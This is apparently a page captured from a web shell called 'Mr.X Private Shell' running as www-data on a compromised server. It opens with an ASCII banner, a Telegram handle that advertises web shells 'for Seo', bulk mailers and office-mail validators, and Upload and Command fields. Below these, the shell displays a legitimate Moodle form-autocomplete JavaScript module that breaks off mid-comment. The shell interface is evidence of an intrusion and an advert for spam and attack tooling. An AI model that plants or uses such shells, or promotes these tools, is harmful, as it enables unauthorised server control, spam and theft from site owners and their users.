__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Autocomplete wrapper for select2 library.
 *
 * @module     core/form-autocomplete
 * @copyright  2015 Damyon Wiese <damyon@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.0
 */
define([
    'jquery',
    'core/log',
    'core/str',
    'core/templates',
    'core/notification',
    'core/loadingicon',
    'core/aria',
    'core_form/changechecker',
    'core/popper2',
], function(
    $,
    log,
    str,
    templates,
    notification,
    LoadingIcon,
    Aria,
    FormChangeChecker,
    Popper
) {
    // Private functions and variables.
    /** @var {Object} KEYS - List of keycode constants. */
    var KEYS = {
        DOWN: 40,
        ENTER: 13,
        SPACE: 32,
        ESCAPE: 27,
        COMMA: 44,
        UP: 38,
        LEFT: 37,
        RIGHT: 39
    };

    var uniqueId = Date.now();

    /**
     * Make an item in the selection list "active".
     *
     * @method activateSelection
     * @private
     * @param {Number} index The index in the current (visible) list of selection.
     * @param {Object} state State variables for this autocomplete element.
     * @return {Promise}
     */
    var activateSelection = function(index, state) {
        // Find the elements in the DOM.
        var selectionElement = $(document.getElementById(state.selectionId));

        index = wrapListIndex(index, selectionElement.children('[aria-selected=true]').length);
        // Find the specified element.
        var element = $(selectionElement.children('[aria-selected=true]').get(index));
        // Create an id we can assign to this element.
        var itemId = state.selectionId + '-' + index;

        // Deselect all the selections.
        selectionElement.children().attr('data-active-selection', null).attr('id', '');

        // Select only this suggestion and assign it the id.
        element.attr('data-active-selection', true).attr('id', itemId);

        // Tell the input field it has a new active descendant so the item is announced.
        selectionElement.attr('aria-activedescendant', itemId);
        selectionElement.attr('data-active-value', element.attr('data-value'));

        return $.Deferred().resolve();
    };

    /**
     * Get the actively selected element from the state object.
     *
     * @param   {Object} state
     * @returns {jQuery}
     */
    var getActiveElementFromState = function(state) {
        var selectionRegion = $(document.getElementById(state.selectionId));
        var activeId = selectionRegion.attr('aria-activedescendant');

        if (activeId) {
            var activeElement = $(document.getElementById(activeId));
            if (activeElement.length) {
                // The active descendent still exists.
                return activeElement;
            }
        }

        // Ensure we are creating a properly formed selector based on the active value.
        var activeValue = selectionRegion.attr('data-active-value')?.replace(/"/g, '\\"');
        return selectionRegion.find('[data-value="' + activeValue + '"]');
    };

    /**
     * Update the active selection from the given state object.
     *
     * @param   {Object} state
     */
    var updateActiveSelectionFromState = function(state) {
        var activeElement = getActiveElementFromState(state);
        var activeValue = activeElement.attr('data-value');

        var selectionRegion = $(document.getElementById(state.selectionId));
        if (activeValue) {
            // Find the index of the currently selected index.
            var activeIndex = selectionRegion.find('[aria-selected=true]').index(activeElement);

            if (activeIndex !== -1) {
                activateSelection(activeIndex, state);
                return;
            }
        }

        // Either the active index was not set, or it could not be found.
        // Select the first value instead.
        activateSelection(0, state);
    };

    /**
     * Update the element that shows the currently selected items.
     *
     * @method updateSelectionList
     * @private
     * @param {Object} options Original options for this autocomplete element.
     * @param {Object} state State variables for this autocomplete element.
     * @param {JQuery} originalSelect The JQuery object matching the hidden select list.
     * @return {Promise}
     */
    var updateSelectionList = function(options, state, originalSelect) {
        var pendingKey = 'form-autocomplete-updateSelectionList-' + state.inputId;
        M.util.js_pending(pendingKey);

        // Build up a valid context to re-render the template.
        var items = rebuildOptions(originalSelect.children('option:selected'), false);
        var newSelection = $(document.getElementById(state.selectionId));

        if (!hasItemListChanged(state, items)) {
            M.util.js_complete(pendingKey);
            return Promise.resolve();
        }

        state.items = items;

        var context = $.extend(options, state);
        // Render the template.
        return templates.render(options.templates.items, context)
        .then(function(html, js) {
            // Add it to the page.
            templates.replaceNodeContents(newSelection, html, js);

            updateActiveSelectionFromState(state);

            return;
        })
        .then(function() {
            return M.util.js_complete(pendingKey);
        })
        .catch(notification.exception);
    };

    /**
     * Check whether the list of items stored in the state has changed.
     *
     * @param   {Object} state
     * @param   {Array} items
     * @returns {Boolean}
     */
    var hasItemListChanged = function(state, items) {
        if (state.items.length !== items.length) {
            return true;
        }

        // Check for any items in the state items which are not present in the new items list.
        return state.items.filter(item => items.indexOf(item) === -1).length > 0;
    };

    /**
     * Notify of a change in the selection.
     *
     * @param {jQuery} originalSelect The jQuery object matching the hidden select list.
     */
    var notifyChange = function(originalSelect) {
        FormChangeChecker.markFormChangedFromNode(originalSelect[0]);

        // Note, jQuery .change() was not working here. Better to
        // use plain JavaScript anyway.
        originalSelect[0].dispatchEvent(new Event('change', {bubbles: true}));
    };

    /**
     * Remove the given item from the list of selected things.
     *
     * @method deselectItem
     * @private
     * @param {Object} options Original options for this autocomplete element.
     * @param {Object} state State variables for this autocomplete element.
     * @param {Element} item The item to be deselected.
     * @param {Element} originalSelect The original select list.
     * @return {Promise}
     */
    var deselectItem = function(options, state, item, originalSelect) {
        var selectedItemValue = $(item).attr('data-value');

        // Preprend an empty option to the select list to avoid having a default selected option.
        if (originalSelect.find('option').first().attr('value') !== undefined) {
            originalSelect.prepend($('<option>'));
        }

        // Look for a match, and toggle the selected property if there is a match.
        originalSelect.children('option').each(function(index, ele) {
            if ($(ele).attr('value') == selectedItemValue) {
                $(ele).prop('selected', false);
                // We remove newly created custom tags from the suggestions list when they are deselected.
                if ($(ele).attr('data-iscustom')) {
                    $(ele).remove();
                }
            }
        });
        // Rerender the selection list.
        return updateSelectionList(options, state, originalSelect)
        .then(function() {
            // Notify that the selection changed.
            notifyChange(originalSelect);

            return;
        });
    };

    /**
     * Make an item in the suggestions "active" (about to be selected).
     *
     * @method activateItem
     * @private
     * @param {Number} index The index in the current (visible) list of suggestions.
     * @param {Object} state State variables for this instance of autocomplete.
     * @return {Promise}
     */
    var activateItem = function(index, state) {
        // Find the elements in the DOM.
        var inputElement = $(document.getElementById(state.inputId));
        var suggestionsElement = $(document.getElementById(state.suggestionsId));

        // Count the visible items.
        var length = suggestionsElement.children(':not([aria-hidden])').length;
        // Limit the index to the upper/lower bounds of the list (wrap in both directions).
        index = index % length;
        while (index < 0) {
            index += length;
        }
        // Find the specified element.
        var element = $(suggestionsElement.children(':not([aria-hidden])').get(index));
        // Find the index of this item in the full list of suggestions (including hidden).
        var globalIndex = $(suggestionsElement.children('[role=option]')).index(element);
        // Create an id we can assign to this element.
        var itemId = state.suggestionsId + '-' + globalIndex;

        // Deselect all the suggestions.
        suggestionsElement.children().attr('aria-selected', false).attr('id', '');
        // Select only this suggestion and assign it the id.
        element.attr('aria-selected', true).attr('id', itemId);
        // Tell the input field it has a new active descendant so the item is announced.
        inputElement.attr('aria-activedescendant', itemId);

        // Scroll it into view.
        var scrollPos = element.offset().top
                       - suggestionsElement.offset().top
                       + suggestionsElement.scrollTop()
                       - (suggestionsElement.height() / 2);
        return suggestionsElement.animate({
            scrollTop: scrollPos
        }, 100).promise();
    };

    /**
     * Return the index of the currently selected item in the suggestions list.
     *
     * @param {jQuery} suggestionsElement
     * @return {Integer}
     */
    var getCurrentItem = function(suggestionsElement) {
        // Find the active one.
        var element = suggestionsElement.children('[aria-selected=true]');
        // Find its index.
        return suggestionsElement.children(':not([aria-hidden])').index(element);
    };

    /**
     * Limit the index to the upper/lower bounds of the list (wrap in both directions).
     *
     * @param {Integer} index The target index.
     * @param {Integer} length The length of the list of visible items.
     * @return {Integer} The resulting index with necessary wrapping applied.
     */
    var wrapListIndex = function(index, length) {
        index = index % length;
        while (index < 0) {
            index += length;
        }
        return index;
    };

    /**
     * Return the index of the next item in the list without aria-disabled=true.
     *
     * @param {Integer} current The index of the current item.
     * @param {Array} suggestions The list of suggestions.
     * @return {Integer}
     */
    var getNextEnabledItem = function(current, suggestions) {
        var nextIndex = wrapListIndex(current + 1, suggestions.length);
        if (suggestions[nextIndex].getAttribute('aria-disabled')) {
            return getNextEnabledItem(nextIndex, suggestions);
        }
        return nextIndex;
    };

    /**
     * Return the index of the previous item in the list without aria-disabled=true.
     *
     * @param {Integer} current The index of the current item.
     * @param {Array} suggestions The list of suggestions.
     * @return {Integer}
     */
    var getPreviousEnabledItem = function(current, suggestions) {
        var previousIndex = wrapListIndex(current - 1, suggestions.length);
        if (suggestions[previousIndex].getAttribute('aria-disabled')) {
            return getPreviousEnabledItem(previousIndex, suggestions);
        }
        return previousIndex;
    };

    /**
     * Build a list of renderable options based on a set of option elements from the original select list.
     *
     * @param {jQuery} originalOptions
     * @param {Boolean} includeEmpty
     * @return {Array}
     */
    var rebuildOptions = function(originalOptions, includeEmpty) {
        var options = [];
        originalOptions.each(function(index, ele) {
            var label;
            if ($(ele).data('html')) {
                label = $(ele).data('html');
            } else {
                label = $(ele).html();
            }
            if (includeEmpty || label !== '') {
                options.push({
                    label: label,
                    value: $(ele).attr('value'),
                    disabled: ele.disabled,
                    classes: ele.classList,
                });
            }
        });
        return options;
    };

    /**
     * Find the index of the current active suggestion, and activate the next one.
     *
     * @method activateNextItem
     * @private
     * @param {Object} state State variable for this auto complete element.
     * @return {Promise}
     */
    var activateNextItem = function(state) {
        // Find the list of suggestions.
        var suggestionsElement = $(document.getElementById(state.suggestionsId));
        var suggestions = suggestionsElement.children(':not([aria-hidden])');
        var current = getCurrentItem(suggestionsElement);
        // Activate the next one.
        return activateItem(getNextEnabledItem(current, suggestions), state);
    };

    /**
     * Find the index of the current active selection, and activate the previous one.
     *
     * @method activatePreviousSelection
     * @private
     * @param {Object} state State variables for this instance of autocomplete.
     * @return {Promise}
     */
    var activatePreviousSelection = function(state) {
        // Find the list of selections.
        var selectionsElement = $(document.getElementById(state.selectionId));
        // Find the active one.
        var element = selectionsElement.children('[data-active-selection]');
        if (!element) {
            return activateSelection(0, state);
        }
        // Find it's index.
        var current = selectionsElement.children('[aria-selected=true]').index(element);
        // Activate the next one.
        return activateSelection(current - 1, state);
    };

    /**
     * Find the index of the current active selection, and activate the next one.
     *
     * @method activateNextSelection
     * @private
     * @param {Object} state State variables for this instance of autocomplete.
     * @return {Promise}
     */
    var activateNextSelection = function(state) {
        // Find the list of selections.
        var selectionsElement = $(document.getElementById(state.selectionId));

        // Find the active one.
        var element = selectionsElement.children('[data-active-selection]');
        var current = 0;

        if (element) {
            // The element was found. Determine the index and move to the next one.
            current = selectionsElement.children('[aria-selected=true]').index(element);
            current = current + 1;
        } else {
            // No selected item found. Move to the first.
            current = 0;
        }

        return activateSelection(current, state);
    };

    /**
     * Find the index of the current active suggestion, and activate the previous one.
     *
     * @method activatePreviousItem
     * @private
     * @param {Object} state State variables for this autocomplete element.
     * @return {Promise}
     */
    var activatePreviousItem = function(state) {
        var suggestionsElement = $(document.getElementById(state.suggestionsId));
        var suggestions = suggestionsElement.children(':not([aria-hidden])');
        var current = getCurrentItem(suggestionsElement);
        // Activate the previous one.
        return activateItem(getPreviousEnabledItem(current, suggestions), state);
    };

    /**
     * Close the list of suggestions.
     *
     * @method closeSuggestions
     * @private
     * @param {Object} state State variables for this autocomplete element.
     * @return {Promise}
     */
    var closeSuggestions = function(state) {
        // Find the elements in the DOM.
        var inputElement = $(document.getElementById(state.inputId));
        var suggestionsElement = $(document.getElementById(state.suggestionsId));

        if (inputElement.attr('aria-expanded') === "true") {
            // Announce the list of suggestions was closed.
            inputElement.attr('aria-expanded', false);
        }
        // Read the current list of selections.
        inputElement.attr('aria-activedescendant', state.selectionId);

        // Hide the suggestions list (from screen readers too).
        Aria.hide(suggestionsElement.get());
        suggestionsElement.hide();

        return $.Deferred().resolve();
    };

    /**
     * Rebuild the list of suggestions based on the current values in the select list, and the query.
     *
     * @method updateSuggestions
     * @private
     * @param {Object} options The original options for this autocomplete.
     * @param {Object} state The state variables for this autocomplete.
     * @param {String} query The current text for the search string.
     * @param {JQuery} originalSelect The JQuery object matching the hidden select list.
     * @return {Promise}
     */
    var updateSuggestions = function(options, state, query, originalSelect) {
        var pendingKey = 'form-autocomplete-updateSuggestions-' + state.inputId;
        M.util.js_pending(pendingKey);

        // Find the elements in the DOM.
        var inputElement = $(document.getElementById(state.inputId));
        var suggestionsElement = $(document.getElementById(state.suggestionsId));

        // Used to track if we found any visible suggestions.
        var matchingElements = false;
        // Options is used by the context when rendering the suggestions from a template.
        var suggestions = rebuildOptions(originalSelect.children('option:not(:selected)'), true);

        // Re-render the list of suggestions.
        var searchquery = state.caseSensitive ? query : query.toLocaleLowerCase();
        var context = $.extend({options: suggestions}, options, state);
        var returnVal = templates.render(
            'core/form_autocomplete_suggestions',
            context
        )
        .then(function(html, js) {
            // We have the new template, insert it in the page.
            templates.replaceNode(suggestionsElement, html, js);

            // Get the element again.
            suggestionsElement = $(document.getElementById(state.suggestionsId));

            // Show it if it is hidden.
            Aria.unhide(suggestionsElement.get());
            Popper.createPopper(inputElement[0], suggestionsElement[0], {
                placement: 'bottom-start',
                modifiers: [{name: 'flip', enabled: false}],
            });

            // For each option in the list, hide it if it doesn't match the query.
            suggestionsElement.children().each(function(index, node) {
                node = $(node);
                if ((options.caseSensitive && node.text().indexOf(searchquery) > -1) ||
                        (!options.caseSensitive && node.text().toLocaleLowerCase().indexOf(searchquery) > -1)) {
                    Aria.unhide(node.get());
                    node.show();
                    matchingElements = true;
                } else {
                    node.hide();
                    Aria.hide(node.get());
                }
            });
            // If we found any matches, show the list.
            inputElement.attr('aria-expanded', true);
            if (originalSelect.attr('data-notice')) {
                // Display a notice rather than actual suggestions.
                suggestionsElement.html(originalSelect.attr('data-notice'));
            } else if (matchingElements) {
                // We only activate the first item in the list if tags is false,
                // because otherwise "Enter" would select the first item, instead of
                // creating a new tag.
                if (!options.tags) {
                    activateItem(0, state);
                }
            } else {
                // Nothing matches. Tell them that.
                str.get_string('nosuggestions', 'form').done(function(nosuggestionsstr) {
                    suggestionsElement.html(nosuggestionsstr);
                });
            }

            return suggestionsElement;
        })
        .then(function() {
            return M.util.js_complete(pendingKey);
        })
        .catch(notification.exception);

        return returnVal;
    };

    /**
     * Create a new item for the list (a tag).
     *
     * @method createItem
     * @private
     * @param {Object} options The original options for the autocomplete.
     * @param {Object} state State variables for the autocomplete.
     * @param {JQuery} originalSelect The JQuery object matching the hidden select list.
     * @return {Promise}
     */
    var createItem = function(options, state, originalSelect) {
        // Find the element in the DOM.
        var inputElement = $(document.getElementById(state.inputId));
        // Get the current text in the input field.
        var query = inputElement.val();
        var tags = query.split(',');
        var found = false;

        $.each(tags, function(tagindex, tag) {
            // If we can only select one at a time, deselect any current value.
            tag = tag.trim();
            if (tag !== '') {
                if (!options.multiple) {
                    originalSelect.children('option').prop('selected', false);
                }
                // Look for an existing option in the select list that matches this new tag.
                originalSelect.children('option').each(function(index, ele) {
                    if ($(ele).attr('value') == tag) {
                        found = true;
                        $(ele).prop('selected', true);
                    }
                });
                // Only create the item if it's new.
                if (!found) {
                    var option = $('<option>');
                    option.append(document.createTextNode(tag));
                    option.attr('value', tag);
                    originalSelect.append(option);
                    option.prop('selected', true);
                    // We mark newly created custom options as we handle them differently if they are "deselected".
                    option.attr('data-iscustom', true);
                }
            }
        });

        return updateSelectionList(options, state, originalSelect)
        .then(function() {
            // Notify that the selection changed.
            notifyChange(originalSelect);

            return;
        })
        .then(function() {
            // Clear the input field.
            inputElement.val('');

            return;
        })
        .then(function() {
            // Close the suggestions list.
            return closeSuggestions(state);
        });
    };

    /**
     * Select the currently active item from the suggestions list.
     *
     * @method selectCurrentItem
     * @private
     * @param {Object} options The original options for the autocomplete.
     * @param {Object} state State variables for the autocomplete.
     * @param {JQuery} originalSelect The JQuery object matching the hidden select list.
     * @return {Promise}
     */
    var selectCurrentItem = function(options, state, originalSelect) {
        // Find the elements in the page.
        var inputElement = $(document.getElementById(state.inputId));
        var suggestionsElement = $(document.getElementById(state.suggestionsId));
        // Here loop through suggestions and set val to join of all selected items.

        var selectedItemValue = suggestionsElement.children('[aria-selected=true]').attr('data-value');
        // The select will either be a single or multi select, so the following will either
        // select one or more items correctly.
        // Take care to use 'prop' and not 'attr' for selected properties.
        // If only one can be selected at a time, start by deselecting everything.
        if (!options.multiple) {
            originalSelect.children('option').prop('selected', false);
        }
        // Look for a match, and toggle the selected property if there is a match.
        originalSelect.children('option').each(function(index, ele) {
            if ($(ele).attr('value') == selectedItemValue) {
                $(ele).prop('selected', true);
            }
        });

        return updateSelectionList(options, state, originalSelect)
        .then(function() {
            // Notify that the selection changed.
            notifyChange(originalSelect);

            return;
        })
        .then(function() {
            if (options.closeSuggestionsOnSelect) {
                // Clear the input element.
                inputElement.val('');
                // Close the list of suggestions.
                return closeSuggestions(state);
            } else {
                // Focus on the input element so the suggestions does not auto-close.
                inputElement.focus();
                // Remove the last selected item from the suggestions list.
                return updateSuggestions(options, state, inputElement.val(), originalSelect);
            }
        });
    };

    /**
     * Fetch a new list of options via ajax.
     *
     * @method updateAjax
     * @private
     * @param {Event} e The event that triggered this update.
     * @param {Object} options The original options for the autocomplete.
     * @param {Object} state The state variables for the autocomplete.
     * @param {JQuery} originalSelect The JQuery object matching the hidden select list.
     * @param {Object} ajaxHandler This is a module that does the ajax fetch and translates the results.
     * @return {Promise}
     */
    var updateAjax = function(e, options, state, originalSelect, ajaxHandler) {
        var pendingPromise = addPendingJSPromise('updateAjax');
        // We need to show the indicator outside of the hidden select list.
        // So we get the parent id of the hidden select list.
        var parentElement = $(document.getElementById(state.selectId)).parent();
        LoadingIcon.addIconToContainerRemoveOnCompletion(parentElement, pendingPromise);

        // Get the query to pass to the ajax function.
        var query = $(e.currentTarget).val();
        // Call the transport function to do the ajax (name taken from Select2).
        ajaxHandler.transport(options.selector, query, function(results) {
            // We got a result - pass it through the translator before using it.
            var processedResults = ajaxHandler.processResults(options.selector, results);
            var existingValues = [];

            // Now destroy all options that are not current
            originalSelect.children('option').each(function(optionIndex, option) {
                option = $(option);
                if (!option.prop('selected')) {
                    option.remove();
                } else {
                    existingValues.push(String(option.attr('value')));
                }
            });

            if (!options.multiple && originalSelect.children('option').length === 0) {
                // If this is a single select - and there are no current options
                // the first option added will be selected by the browser. This causes a bug!
                // We need to insert an empty option so that none of the real options are selected.
                var option = $('<option>');
                originalSelect.append(option);
            }
            if ($.isArray(processedResults)) {
                // Add all the new ones returned from ajax.
                $.each(processedResults, function(resultIndex, result) {
                    if (existingValues.indexOf(String(result.value)) === -1) {
                        var option = $('<option>');
                        option.append(result.label);
                        option.attr('value', result.value);
                        originalSelect.append(option);
                    }
                });
                originalSelect.attr('data-notice', '');
            } else {
                // The AJAX handler returned a string instead of the array.
                originalSelect.attr('data-notice', processedResults);
            }
            // Update the list of suggestions now from the new values in the select list.
            pendingPromise.resolve(updateSuggestions(options, state, '', originalSelect));
        }, function(error) {
            pendingPromise.reject(error);
        });

        return pendingPromise;
    };

    /**
     * Add all the event listeners required for keyboard nav, blur clicks etc.
     *
     * @method addNavigation
     * @private
     * @param {Object} options The options used to create this autocomplete element.
     * @param {Object} state State variables for this autocomplete element.
     * @param {JQuery} originalSelect The JQuery object matching the hidden select list.
     */
    var addNavigation = function(options, state, originalSelect) {
        // Start with the input element.
        var inputElement = $(document.getElementById(state.inputId));
        // Add keyboard nav with keydown.
        inputElement.on('keydown', function(e) {
            var pendingJsPromise = addPendingJSPromise('addNavigation-' + state.inputId + '-' + e.keyCode);

            switch (e.keyCode) {
                case KEYS.DOWN:
                    // If the suggestion list is open, move to the next item.
                    if (!options.showSuggestions) {
                        // Do not consume this event.
                        pendingJsPromise.resolve();
                        return true;
                    } else if (inputElement.attr('aria-expanded') === "true") {
                        pendingJsPromise.resolve(activateNextItem(state));
                    } else {
                        // Handle ajax population of suggestions.
                        if (!inputElement.val() && options.ajax) {
                            require([options.ajax], function(ajaxHandler) {
                                pendingJsPromise.resolve(updateAjax(e, options, state, originalSelect, ajaxHandler));
                            });
                        } else {
                            // Open the suggestions list.
                            pendingJsPromise.resolve(updateSuggestions(options, state, inputElement.val(), originalSelect));
                        }
                    }
                    // We handled this event, so prevent it.
                    e.preventDefault();
                    return false;
                case KEYS.UP:
                    // Choose the previous active item.
                    pendingJsPromise.resolve(activatePreviousItem(state));

                    // We handled this event, so prevent it.
                    e.preventDefault();
                    return false;
                case KEYS.ENTER:
                    var suggestionsElement = $(document.getElementById(state.suggestionsId));
                    if ((inputElement.attr('aria-expanded') === "true") &&
                            (suggestionsElement.children('[aria-selected=true]').length > 0)) {
                        // If the suggestion list has an active item, select it.
                        pendingJsPromise.resolve(selectCurrentItem(options, state, originalSelect));
                    } else if (options.tags) {
                        // If tags are enabled, create a tag.
                        pendingJsPromise.resolve(createItem(options, state, originalSelect));
                    } else {
                        pendingJsPromise.resolve();
                    }

                    // We handled this event, so prevent it.
                    e.preventDefault();
                    return false;
                case KEYS.ESCAPE:
                    if (inputElement.attr('aria-expanded') === "true") {
                        // If the suggestion list is open, close it.
                        pendingJsPromise.resolve(closeSuggestions(state));
                    } else {
                        pendingJsPromise.resolve();
                    }
                    // We handled this event, so prevent it.
                    e.preventDefault();
                    return false;
            }
            pendingJsPromise.resolve();
            return true;
        });
        // Support multi lingual COMMA keycode (44).
        inputElement.on('keypress', function(e) {

            if (e.keyCode === KEYS.COMMA) {
                if (options.tags) {
                    // If we are allowing tags, comma should create a tag (or enter).
                    addPendingJSPromise('keypress-' + e.keyCode)
                    .resolve(createItem(options, state, originalSelect));
                }
                // We handled this event, so prevent it.
                e.preventDefault();
                return false;
            }
            return true;
        });
        // Support submitting the form without leaving the autocomplete element,
        // or submitting too quick before the blur handler action is completed.
        inputElement.closest('form').on('submit', function() {
            if (options.tags) {
                // If tags are enabled, create a tag.
                addPendingJSPromise('form-autocomplete-submit')
                .resolve(createItem(options, state, originalSelect));
            }

            return true;
        });
        inputElement.on('blur', function() {
            var pendingPromise = addPendingJSPromise('form-autocomplete-blur');
            window.setTimeout(function() {
                // Get the current element with focus.
                var focusElement = $(document.activeElement);
                var timeoutPromise = $.Deferred();

                // Only close the menu if the input hasn't regained focus and if the element still exists,
                // and regain focus if the scrollbar is clicked.
                // Due to the half a second delay, it is possible that the input element no longer exist
                // by the time this code is being executed.
                if (focusElement.is(document.getElementById(state.suggestionsId))) {
                    inputElement.focus(); // Probably the scrollbar is clicked. Regain focus.
                } else if (!focusElement.is(inputElement) && $(document.getElementById(state.inputId)).length) {
                    if (options.tags) {
                        timeoutPromise.then(function() {
                            return createItem(options, state, originalSelect);
                        })
                        .catch();
                    }
                    timeoutPromise.then(function() {
                        return closeSuggestions(state);
                    })
                    .catch();
                }

                timeoutPromise.then(function() {
                    return pendingPromise.resolve();
                })
                .catch();
                timeoutPromise.resolve();
            }, 500);
        });
        if (options.showSuggestions) {
            var arrowElement = $(document.getElementById(state.downArrowId));
            arrowElement.on('click', function(e) {
                var pendingPromise = addPendingJSPromise('form-autocomplete-show-suggestions');

                // Prevent the close timer, or we will open, then close the suggestions.
                inputElement.focus();

                // Handle ajax population of suggestions.
                if (!inputElement.val() && options.ajax) {
                    require([options.ajax], function(ajaxHandler) {
                        pendingPromise.resolve(updateAjax(e, options, state, originalSelect, ajaxHandler));
                    });
                } else {
                    // Else - open the suggestions list.
                    pendingPromise.resolve(updateSuggestions(options, state, inputElement.val(), originalSelect));
                }
            });
        }

        var suggestionsElement = $(document.getElementById(state.suggestionsId));
        // Remove any click handler first.
        suggestionsElement.parent().prop("onclick", null).off("click");
        suggestionsElement.parent().on('click', `#${state.suggestionsId} [role=option]`, function(e) {
            var pendingPromise = addPendingJSPromise('form-autocomplete-parent');
            // Handle clicks on suggestions.
            var element = $(e.currentTarget).closest('[role=option]');
            var suggestionsElement = $(document.getElementById(state.suggestionsId));
            // Find the index of the clicked on suggestion.
            var current = suggestionsElement.children(':not([aria-hidden])').index(element);

            // Activate it.
            activateItem(current, state)
            .then(function() {
                // And select it.
                return selectCurrentItem(options, state, originalSelect);
            })
            .then(function() {
                return pendingPromise.resolve();
            })
            .catch();
        });
        var selectionElement = $(document.getElementById(state.selectionId));

        // Handle clicks on the selected items (will unselect an item).
        selectionElement.on('click', '[role=option]', function(e) {
            var pendingPromise = addPendingJSPromise('form-autocomplete-clicks');

            // Remove it from the selection.
            pendingPromise.resolve(deselectItem(options, state, $(e.currentTarget), originalSelect));
        });

        // When listbox is focused, focus on the first option if there is no focused option.
        selectionElement.on('focus', function() {
            updateActiveSelectionFromState(state);
        });

        // Keyboard navigation for the selection list.
        selectionElement.on('keydown', function(e) {
            var pendingPromise = addPendingJSPromise('form-autocomplete-keydown-' + e.keyCode);
            switch (e.keyCode) {
                case KEYS.RIGHT:
                case KEYS.DOWN:
                    // We handled this event, so prevent it.
                    e.preventDefault();

                    // Choose the next selection item.
                    pendingPromise.resolve(activateNextSelection(state));
                    return;
                case KEYS.LEFT:
                case KEYS.UP:
                    // We handled this event, so prevent it.
                    e.preventDefault();

                    // Choose the previous selection item.
                    pendingPromise.resolve(activatePreviousSelection(state));
                    return;
                case KEYS.SPACE:
                case KEYS.ENTER:
                    // Get the item that is currently selected.
                    var selectedItem = $(document.getElementById(state.selectionId)).children('[data-active-selection]');
                    if (selectedItem) {
                        e.preventDefault();

                        // Unselect this item.
                        pendingPromise.resolve(deselectItem(options, state, selectedItem, originalSelect));
                    }
                    return;
            }

            // Not handled. Resolve the promise.
            pendingPromise.resolve();
        });
        // Whenever the input field changes, update the suggestion list.
        if (options.showSuggestions) {
            // Store the value of the field as its last value, when the field gains focus.
            inputElement.on('focus', function(e) {
                var query = $(e.currentTarget).val();
                $(e.currentTarget).data('last-value', query);
            });

            // If this field uses ajax, set it up.
            if (options.ajax) {
                require([options.ajax], function(ajaxHandler) {
                    // Creating throttled handlers free of race conditions, and accurate.
                    // This code keeps track of a throttleTimeout, which is periodically polled.
                    // Once the throttled function is executed, the fact that it is running is noted.
                    // If a subsequent request comes in whilst it is running, this request is re-applied.
                    var throttleTimeout = null;
                    var inProgress = false;
                    var pendingKey = 'autocomplete-throttledhandler';
                    var handler = function(e) {
                        // Empty the current timeout.
                        throttleTimeout = null;

                        // Mark this request as in-progress.
                        inProgress = true;

                        // Process the request.
                        updateAjax(e, options, state, originalSelect, ajaxHandler)
                        .then(function() {
                            // Check if the throttleTimeout is still empty.
                            // There's a potential condition whereby the JS request takes long enough to complete that
                            // another task has been queued.
                            // In this case another task will be kicked off and we must wait for that before marking htis as
                            // complete.
                            if (null === throttleTimeout) {
                                // Mark this task as complete.
                                M.util.js_complete(pendingKey);
                            }
                            inProgress = false;

                            return arguments[0];
                        })
                        .catch(notification.exception);
                    };

                    // For input events, we do not want to trigger many, many updates.
                    var throttledHandler = function(e) {
                        window.clearTimeout(throttleTimeout);
                        if (inProgress) {
                            // A request is currently ongoing.
                            // Delay this request another 100ms.
                            throttleTimeout = window.setTimeout(throttledHandler.bind(this, e), 100);
                            return;
                        }

                        if (throttleTimeout === null) {
                            // There is currently no existing timeout handler, and it has not been recently cleared, so
                            // this is the start of a throttling check.
                            M.util.js_pending(pendingKey);
                        }

                        // There is currently no existing timeout handler, and it has not been recently cleared, so this
                        // is the start of a throttling check.
                        // Queue a call to the handler.
                        throttleTimeout = window.setTimeout(handler.bind(this, e), 300);
                    };

                    // Trigger an ajax update after the text field value changes.
                    inputElement.on('input', function(e) {
                        var query = $(e.currentTarget).val();
                        var last = $(e.currentTarget).data('last-value');
                        // IE11 fires many more input events than required - even when the value has not changed.
                        if (last !== query) {
                            throttledHandler(e);
                        }
                        $(e.currentTarget).data('last-value', query);
                    });
                });
            } else {
                inputElement.on('input', function(e) {
                    var query = $(e.currentTarget).val();
                    var last = $(e.currentTarget).data('last-value');
                    // IE11 fires many more input events than required - even when the value has not changed.
                    // We need to only do this for real value changed events or the suggestions will be
                    // unclickable on IE11 (because they will be rebuilt before the click event fires).
                    // Note - because of this we cannot close the list when the query is empty or it will break
                    // on IE11.
                    if (last !== query) {
                        updateSuggestions(options, state, query, originalSelect);
                    }
                    $(e.currentTarget).data('last-value', query);
                });
            }
        }
    };

    /**
     * Create and return an unresolved Promise for some pending JS.
     *
     * @param   {String} key The unique identifier for this promise
     * @return  {Promise}
     */
    var addPendingJSPromise = function(key) {
            var pendingKey = 'form-autocomplete:' + key;

            M.util.js_pending(pendingKey);

            var pendingPromise = $.Deferred();

            pendingPromise
            .then(function() {
                M.util.js_complete(pendingKey);

                return arguments[0];
            })
            .catch(notification.exception);

            return pendingPromise;
    };

    /**
     * Turn a boring select box into an auto-complete beast.
     *
     * @method enhanceField
     * @param {string} selector The selector that identifies the select box.
     * @param {boolean} tags Whether to allow support for tags (can define new entries).
     * @param {string} ajax Name of an AMD module to handle ajax requests. If specified, the AMD
     *                      module must expose 2 functions "transport" and "processResults".
